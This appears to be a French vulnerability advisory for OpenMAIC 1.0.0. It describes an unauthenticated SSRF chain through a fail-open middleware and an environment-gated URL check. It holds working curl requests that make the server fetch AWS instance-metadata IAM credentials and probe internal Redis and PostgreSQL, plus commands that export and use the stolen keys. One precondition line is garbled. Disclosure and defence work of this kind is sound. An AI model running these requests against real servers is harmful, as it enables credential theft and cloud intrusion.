
OpenMAIC 1.0.0 : SSRF sortante non authentifiée vers le service de métadonnées cloud via un middleware à échec ouvert et un contournement de validation conditionné par l'environnement
Vérifié. Une chaîne d'exploitation en deux étapes existe dans le middleware d'authentification d'OpenMAIC et dans la couche de requêtes sortantes vers les fournisseurs, permettant à un attaquant distant non authentifié de faire émettre au serveur applicatif des requêtes HTTP sortantes arbitraires - y compris vers le service de métadonnées d'instance cloud (IMDS) à l'adresse 169.254.169.254 - sans posséder le moindre identifiant.
Étape 1 : Le middleware Edge de Next.js dans middleware.ts adopte une posture fail-open lorsque la variable d'environnement ACCESS_CODE est absente. Dans la configuration par défaut de .env.example, ACCESS_CODE n'est pas définie, ce qui signifie que les 70 routes API sont globalement non authentifiées et accessibles par tout client externe.
Étape 2 : Dans cinq gestionnaires de routes API distincts, les URL de base des fournisseurs fournies par le client (via les paramètres de requête x-base-url ou baseUrl) ne sont transmises à validateUrlForSSRF() que lorsque process.env.NODE_ENV === 'production'. Dans tout environnement development, staging, preview ou non défini, la protection SSRF est complètement ignorée et l'application émet un fetch() sortant vers l'URL contrôlée par l'attaquant.
Enchaînées : un attaquant non authentifié fournit x-base-url: http://169.254.169.254/latest/meta-data/iam/security-credentials/ à n'importe quel endpoint de génération, et le serveur récupère les identifiants du rôle IAM cloud et les renvoie dans la réponse. Aucun compte préalable, aucun jeton, aucun point d'ancrage local requis.
Le middleware est le seul portail d'authentification pour toutes les routes API. Lorsque ACCESS_CODE n'est pas définie - l'état par défaut selon .env.example - chaque requête vers chaque route passe immédiatement. Il n'existe aucun mécanisme de repli, aucun avertissement émis, aucune vérification d'authentification alternative. Le fail-open est inconditionnel et silencieux. Cela expose 70 endpoints API, incluant les routes de génération, de persistance, de proxy média, d'extraction et d'exécution IA, à tout appelant non authentifié.
La fonction validateUrlForSSRF dans lib/server/ssrf-guard.ts gère déjà correctement les exceptions spécifiques à l'environnement via ALLOW_LOCAL_NETWORKS. Le contrôle NODE_ENV dans chaque gestionnaire de route est totalement redondant en tant que commodité de mode développement, mais catastrophique en tant que frontière de sécurité : il désactive la validation SSRF globalement dans les déploiements staging, preview, CI/CD et auto-hébergés où NODE_ENV n'est pas explicitement défini à 'production'.
curl -s -X POST "https://target.openmaic.example.com/api/generate/image" \
-H "Content-Type: application/json" \
-H "x-base-url: http://169.254.169.254/latest/meta-data/iam/security-credentials/" \
-d '{"prompt": "test", "model": "dall-e-3"}'
Réponse attendue (passthrough IMDS) :
ec2-instance-role
curl -s -X POST "https://target.openmaic.example.com/api/generate/image" \
-H "Content-Type: application/json" \
-H "x-base-url: http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-instance-role" \
-d '{"prompt": "test", "model": "dall-e-3"}'
Réponse attendue :
{
"Code": "Success",
"Type": "AWS-HMAC",
"AccessKeyId": "ASIAXXXXXXXXXXXXXXXXXXX",
"SecretAccessKey": "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx",
"Token": "IQoJb3JpZ2luX2VjEA...",
"Expiration": "2026-09-02T00:30:00Z"
}
export AWS_ACCESS_KEY_ID="ASIAXXXXXXXXXXXXXXXXXXX"
export AWS_SECRET_ACCESS_KEY="xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
export AWS_SESSION_TOKEN="IQoJb3JpZ2luX2VjEA..."
aws sts get-caller-identity
aws s3 ls
aws iam list-attached-role-policies --role-name ec2-instance-role
# Redis on default port - RESP protocol response returned in API error
curl -s -X POST "https://target.example.com/api/generate/image" \
-H "x-base-url: http://127.0.0.1:6379/" \
-d '{"prompt":"INFO"}'
# PostgreSQL on default port
curl -s -X POST "https://target.example.com/api/generate/image" \
-H "x-base-url: http://127.0.0.1:5432/" \
-d '{"prompt":"test"}'
| Phase | Étape | Effet |
|---|---|---|
| 1. Entrée non authentifiée | Le client distant envoie une requête HTTP vers /api/generate/image sans cookies ni jetons | middleware.ts évalue !process.env.ACCESS_CODE et invoque NextResponse.next() |
| 2. Ingestion d'en-tête | L'attaquant spécifie l'adresse interne cible dans l'en-tête : x-base-url: http://169.254.169.254/... | Le gestionnaire de route extrait clientBaseUrl des en-têtes de la requête |
| 3. Contournement SSRF | L'environnement du serveur a NODE_ENV !== 'production' (par ex. staging ou valeur par défaut du conteneur) | Le gestionnaire évalue process.env.NODE_ENV === 'production' à false et ignore validateUrlForSSRF() |
| 4. Puits de requête sortante | Le client de service s'initialise avec l'URL de base fournie par l'attaquant et exécute la requête | Le serveur effectue un fetch() sortant vers http://169.254.169.254/ |
| 5. Exfiltration de métadonnées | Le service de métadonnées d'instance cloud répond avec des métadonnées ou des identifiants de sécurité IAM | Le serveur incorpore le corps de la réponse HTTP dans la charge utile de retour de l'API ou dans le message d'erreur |
| 6. Pivot cloud | L'attaquant extrait les identifiants de sécurité temporaires AWS/GCP/Azure | L'attaquant utilise les identifiants cloud en externe pour accéder aux ressources et banques de données cloud |
Préconditions :
ACCESS_CODE définie (configuration par défaut).NODE_ENV n'est pas strictement défini à 'production' (par ex. staging, dev, auto-hébergé ou conteneur mal configuré).Pour confirmer l'accessibilité et valider les défenses de sécurité sans déployer de charges utiles malveillantes :
process.env.ACCESS_CODE est indéfinie, middleware.ts renvoie NextResponse.next(). L'envoi d'une requête HTTP sans en-têtes d'authentification vers n'importe quel endpoint protégé (par ex. POST /api/generate/image) produit une réponse au niveau de l'endpoint (par ex. 400/401 pour la configuration du fournisseur) plutôt qu'un rejet 401 Access Code Required.NODE_ENV="staging" ou NODE_ENV="development", inspectez si validateUrlForSSRF est appelée. En raison de if (clientBaseUrl && process.env.NODE_ENV === 'production'), l'exécution saute le bloc de validation et tente une connexion réseau vers l'URL de base spécifiée.NODE_ENV='development' et fournissant une URL de bouclage http://127.0.0.1:9999 vérifie si la requête est rejetée avec INVALID_URL (403) ou autorisée à poursuivre vers le transport réseau. Dans l'état non corrigé, la requête tente une connexion socket ; dans l'état corrigé, elle est immédiatement rejetée avec HTTP 403.